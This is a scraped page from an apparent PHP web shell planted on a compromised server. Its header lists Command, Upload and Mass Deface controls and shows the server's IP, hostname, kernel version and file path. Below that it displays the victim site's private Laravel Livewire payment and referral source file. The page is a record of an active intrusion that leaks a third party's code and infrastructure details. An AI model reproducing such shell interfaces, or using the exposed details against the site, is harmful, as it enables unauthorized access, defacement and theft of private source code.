���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Livewire
/
Site
/
Pages
/
CutunixShot
/
Payment
/
Viewing: Index.php
<?php namespace App\Livewire\Site\Pages\CutunixShot\Payment; use Livewire\Component; use Illuminate\Support\Facades\Auth; use Masmerise\Toaster\Toastable; use function App\Helpers\DateNow; use App\Models\User; use App\Models\UserMarketer; use function App\Helpers\sendSms; use App\Models\Config; class Index extends Component { use Toastable; public $code; public $amount; public function handelPayment() { return redirect()->to('/payment/buy?price='. $this->amount .'&type=register&platform=web&user_id='.auth()->user()->id.'&mobile='.auth()->user()->mobile); } public function handelCode() { if(!$this->code){ $this->error('فیلد کد معرف اجباری می باشد'); return ; } $check=User::where('code',$this->code)->first(); if($check){ $check_marketer=UserMarketer::where('marketer_id',$check->id)->where('user_id',Auth::user()->id)->first(); if(!$check_marketer){ $exp_check=Config::where('key','exp')->first(); $exp_month=12; if($exp_check){ $exp_month=$exp_check->value; } $exp=DateNow('when',null,'month',$exp_month); User::where('id',Auth::user()->id)->update([ 'expire_date'=>$exp, ]); UserMarketer::create([ 'user_id'=>Auth::user()->id, 'marketer_id'=>$check->id ]); //set New Code $unique_code=rand(1,99999); do { if($unique_code){ $code=$unique_code; } $check_unique=User::where('code',$code)->first(); $unique_code= rand(1,99999); } while ($check_unique); //update marketer $check->update([ 'code'=>$unique_code ]); //send-sms sendSms($check->mobile,$unique_code,'marketerCode'); return \Redirect::to('/')->success(trans('container.operation successful')); }else{ $this->error(' شما قبلا توسط این بازاریاب معرفی شده اید '); return ; } }else{ $this->error('کد معرف صحیح نمی باشد'); return ; } } public function render() { $price=Config::where('key','payment_price')->first(); if($price && $price->value){ $this->amount=$price->value; } return view('livewire.site.pages.cutunix-shot.payment.index',['price'=>$price]) ->layout('components.layouts.site.app', ['page_name' => 'payment']); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa